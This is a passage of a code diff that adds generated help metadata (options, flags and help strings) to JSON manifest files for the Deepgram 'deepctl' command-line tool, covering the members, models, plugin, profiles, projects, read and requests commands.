+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/members.json b/src/deepctl/_manifest.d/members.json
index 814c6aa8..3579091c 100644
--- a/src/deepctl/_manifest.d/members.json
+++ b/src/deepctl/_manifest.d/members.json
@@ -5,5 +5,326 @@
   "dist": "deepctl-cmd-members",
   "summary": "Manage members",
   "hidden": false,
-  "requires_auth": true
+  "requires_auth": true,
+  "help": {
+    "name": "members",
+    "help": "Manage Deepgram project members\n\nExamples:\n  dg members\n  dg members --list\n  dg members --invite user@example.com --scope member\n  dg members --remove MEMBER_ID\n  dg members --invites\n  dg members --revoke-invite user@example.com\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Manage members",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "dry_run",
+        "opts": [
+          "--dry-run"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Show what would happen without making any changes"
+      },
+      {
+        "class": "option",
+        "name": "yes",
+        "opts": [
+          "--yes",
+          "-y"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip confirmation prompts"
+      },
+      {
+        "class": "option",
+        "name": "project_id",
+        "opts": [
+          "--project-id",
+          "-p"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Project ID (uses configured project if not provided)"
+      },
+      {
+        "class": "option",
+        "name": "revoke_invite",
+        "opts": [
+          "--revoke-invite"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Revoke an invite by email"
+      },
+      {
+        "class": "option",
+        "name": "invites",
+        "opts": [
+          "--invites"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "List pending invites"
+      },
+      {
+        "class": "option",
+        "name": "remove",
+        "opts": [
+          "--remove",
+          "-r"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Remove a member by ID"
+      },
+      {
+        "class": "option",
+        "name": "scope",
+        "opts": [
+          "--scope"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Scope for invite (e.g., member, admin)"
+      },
+      {
+        "class": "option",
+        "name": "invite",
+        "opts": [
+          "--invite",
+          "-i"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Invite a member by email"
+      },
+      {
+        "class": "option",
+        "name": "list",
+        "opts": [
+          "--list",
+          "-l"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "List all project members"
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/models.json b/src/deepctl/_manifest.d/models.json
index 61eaa57f..eeaecbcd 100644
--- a/src/deepctl/_manifest.d/models.json
+++ b/src/deepctl/_manifest.d/models.json
@@ -5,5 +5,175 @@
   "dist": "deepctl-cmd-models",
   "summary": "List models",
   "hidden": false,
-  "requires_auth": true
+  "requires_auth": true,
+  "help": {
+    "name": "models",
+    "help": "List available Deepgram models\n\nExamples:\n  dg models\n  dg models --type stt\n  dg models --type tts\n  dg models --include-outdated\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "List models",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "include_outdated",
+        "opts": [
+          "--include-outdated"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Include outdated model versions"
+      },
+      {
+        "class": "option",
+        "name": "type",
+        "opts": [
+          "--type",
+          "-t"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Filter by model type (stt, tts)"
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/plugin.json b/src/deepctl/_manifest.d/plugin.json
index 34c1a09e..e2875a74 100644
--- a/src/deepctl/_manifest.d/plugin.json
+++ b/src/deepctl/_manifest.d/plugin.json
@@ -6,5 +6,18 @@
   "summary": "Manage deepctl plugins",
   "hidden": false,
   "group": true,
-  "requires_auth": false
+  "requires_auth": false,
+  "help": {
+    "name": "plugin",
+    "help": "Manage deepctl plugins",
+    "short_help": "Manage deepctl plugins",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": true,
+    "options_metavar": "[OPTIONS]",
+    "params": [],
+    "group": true,
+    "subcommand_metavar": "COMMAND [ARGS]..."
+  }
 }
diff --git a/src/deepctl/_manifest.d/profiles.json b/src/deepctl/_manifest.d/profiles.json
index ac51e90c..9747c229 100644
--- a/src/deepctl/_manifest.d/profiles.json
+++ b/src/deepctl/_manifest.d/profiles.json
@@ -5,5 +5,196 @@
   "dist": "deepctl-cmd-login",
   "summary": "Manage profiles",
   "hidden": false,
-  "requires_auth": false
+  "requires_auth": false,
+  "help": {
+    "name": "profiles",
+    "help": "Manage authentication profiles\n\nExamples:\n  dg profiles --list\n  dg profiles --current\n  dg profiles --switch staging\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Manage profiles",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "switch",
+        "opts": [
+          "--switch"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Switch to a different profile"
+      },
+      {
+        "class": "option",
+        "name": "current",
+        "opts": [
+          "--current"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Show current profile"
+      },
+      {
+        "class": "option",
+        "name": "list",
+        "opts": [
+          "--list",
+          "-l"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "List all profiles"
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/projects.json b/src/deepctl/_manifest.d/projects.json
index bfd5ea66..9919c839 100644
--- a/src/deepctl/_manifest.d/projects.json
+++ b/src/deepctl/_manifest.d/projects.json
@@ -5,5 +5,261 @@
   "dist": "deepctl-cmd-projects",
   "summary": "Manage projects",
   "hidden": false,
-  "requires_auth": true
+  "requires_auth": true,
+  "help": {
+    "name": "projects",
+    "help": "Manage Deepgram projects\n\nExamples:\n  dg projects --list\n  dg projects --show PROJECT_ID\n  dg projects --create 'My New Project'\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Manage projects",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "set_default",
+        "opts": [
+          "--set-default"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Set project as default"
+      },
+      {
+        "class": "option",
+        "name": "current",
+        "opts": [
+          "--current"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Show current project"
+      },
+      {
+        "class": "option",
+        "name": "company",
+        "opts": [
+          "--company"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Company name for new project"
+      },
+      {
+        "class": "option",
+        "name": "show",
+        "opts": [
+          "--show",
+          "-s"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Show project details"
+      },
+      {
+        "class": "option",
+        "name": "create",
+        "opts": [
+          "--create",
+          "-c"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Create a new project"
+      },
+      {
+        "class": "option",
+        "name": "list",
+        "opts": [
+          "--list",
+          "-l"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "List all projects"
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/read.json b/src/deepctl/_manifest.d/read.json
index 5e228748..bee0b298 100644
--- a/src/deepctl/_manifest.d/read.json
+++ b/src/deepctl/_manifest.d/read.json
@@ -5,5 +5,276 @@
   "dist": "deepctl-cmd-read",
   "summary": "Text intelligence",
   "hidden": false,
-  "requires_auth": true
+  "requires_auth": true,
+  "help": {
+    "name": "read",
+    "help": "Analyze text using Deepgram text intelligence\n\nExamples:\n  dg read \"The product is amazing and works perfectly.\"\n  dg read --file article.txt --summarize\n  dg read --sentiment --topics --intents \"Customer called about billing issue.\"\n  cat review.txt | dg read --sentiment --summarize\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Text intelligence",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "language",
+        "opts": [
+          "--language",
+          "-l"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Language code (e.g., en)"
+      },
+      {
+        "class": "option",
+        "name": "intents",
+        "opts": [
+          "--intents"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Detect intents"
+      },
+      {
+        "class": "option",
+        "name": "topics",
+        "opts": [
+          "--topics"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Detect topics"
+      },
+      {
+        "class": "option",
+        "name": "summarize",
+        "opts": [
+          "--summarize"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Generate summary"
+      },
+      {
+        "class": "option",
+        "name": "sentiment",
+        "opts": [
+          "--sentiment"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Analyze sentiment"
+      },
+      {
+        "class": "option",
+        "name": "file",
+        "opts": [
+          "--file",
+          "-f"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Read text from file"
+      },
+      {
+        "class": "argument",
+        "name": "text",
+        "opts": [
+          "text"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/requests.json b/src/deepctl/_manifest.d/requests.json
index c3eff123..54a392a4 100644
--- a/src/deepctl/_manifest.d/requests.json
+++ b/src/deepctl/_manifest.d/requests.json
@@ -5,5 +5,365 @@
   "dist": "deepctl-cmd-requests",
   "summary": "Request history",
   "hidden": false,
-  "requires_auth": true
+  "requires_auth": true,
+  "help": {
+    "name": "requests",
+    "help": "View Deepgram API request history\n\nExamples:\n  dg requests\n  dg requests --limit 50\n  dg requests --status failed\n  dg requests --endpoint listen --method streaming\n  dg requests --show REQUEST_ID\n  dg requests --last-week\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Request history",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "project_id",
+        "opts": [
+          "--project-id",
+          "-p"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Project ID (uses configured project if not provided)"
+      },
+      {
+        "class": "option",
+        "name": "last_day",
+        "opts": [
+          "--last-day"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Show requests from last 24 hours"
+      },
+      {
+        "class": "option",
+        "name": "last_week",
+        "opts": [
+          "--last-week"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Show requests from last 7 days"
+      },
+      {
+        "class": "option",
+        "name": "end_date",
+        "opts": [
+          "--end-date"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "End date (YYYY-MM-DD)"
+      },
+      {
+        "class": "option",
+        "name": "start_date",
+        "opts": [
+          "--start-date"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Start date (YYYY-MM-DD)"
+      },
+      {
+        "class": "option",
+        "name": "page",
+        "opts": [
+          "--page"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "integer"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Page number for pagination"
+      },
+      {
+        "class": "option",
+        "name": "limit",
+        "opts": [
+          "--limit"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "integer"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
